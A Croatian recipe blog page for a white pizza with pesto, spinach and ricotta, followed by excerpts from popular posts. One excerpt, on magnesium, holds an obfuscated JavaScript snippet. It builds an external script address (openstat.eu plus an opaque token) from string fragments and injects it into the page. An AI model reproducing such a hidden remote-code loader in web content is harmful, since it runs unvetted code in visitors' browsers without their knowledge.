PIZZA S PESTOM, ŠPINATOM I RICOTTOM 🍕


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Pizza s pestom, špinatom i ricottom 



Pizza s pestom, špinatom i ricottom idealan je izbor za brzu večeru tijekom tjedna kada želite nešto jednostavno, ali okusom slojevito. Kombinacija kremaste ricotte, svježeg špinata i aromatičnog pesta daje laganiju, „bijelu“ verziju pizze koja nije teška, a i dalje je zasitna. Predpečenje tijesta osigurava hrskavu podlogu, dok mozzarella povezuje nadjev bez viška vlage.




Pizza s pestom, špinatom i ricottom 


Sastojci:

170 g ricotte od punomasnog mlijeka (oko ¾ šalice)
2 srednja režnja češnjaka, sitno naribana (oko 1 čajna žličica)
½ čajne žličice mljevene čili papričice, plus dodatno za posipanje
40 g ribanog parmezana (oko 6 žlica), podijeljeno
450 g svježeg tijesta za pizzu, sobne temperature
glatko brašno, za posipanje
60 g mladog špinata (oko 2 šalice)
170 g ribane mozzarelle s manjim udjelom vlage (oko 1½ šalice)
2 čajne žličice ekstra djevičanskog maslinova ulja
2 žlice pesta od bosiljka



Priprema:

Pećnicu zagrijati na 245 °C, s rešetkom u donjoj trećini. U manjoj zdjeli pomiješati ricottu, češnjak, čili i 25 g parmezana.


Na lagano pobrašnjenom papiru za pečenje razvući tijesto u pravokutnik dimenzija približno 40 × 30 cm. Ako se tijesto vraća, pokriti ga kuhinjskom krpom i ostaviti da odmori oko 5 minuta pa ponovno pokušati. Vilicom izbockati tijesto po cijeloj površini, ostavljajući rub od oko 1 cm.


Tijesto (zajedno s papirom za pečenje) prebaciti na okrenuti lim za pečenje. Peći 6–7 minuta, dok dno ne poprimi svijetlo zlatnu boju. Pažljivo izvaditi koru s papirom na radnu površinu, a lim vratiti u pećnicu. Smanjiti temperaturu na 230 °C.


Smjesu ricotte rasporediti po kori unutar ruba. Dodati špinat, mozzarellu i preostali parmezan (oko 15 g). Rubove tijesta premazati maslinovim uljem.


Vratiti pizzu (na papiru za pečenje) na zagrijani lim i peći 10–12 minuta, dok kora ne postane tamnozlatna, a sir se rastopi i lagano zapeče. Prije posluživanja pokapati pestom i po želji dodatno posuti čilijem.


Čuvanje

Ostatke čuvati u hermetički zatvorenoj posudi u hladnjaku do 3 dana. Zagrijati na limu u pećnici na 190 °C dok se ne zagrije ili u fritezi na vrući zrak.


Pizza s pestom, špinatom i ricottom

Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više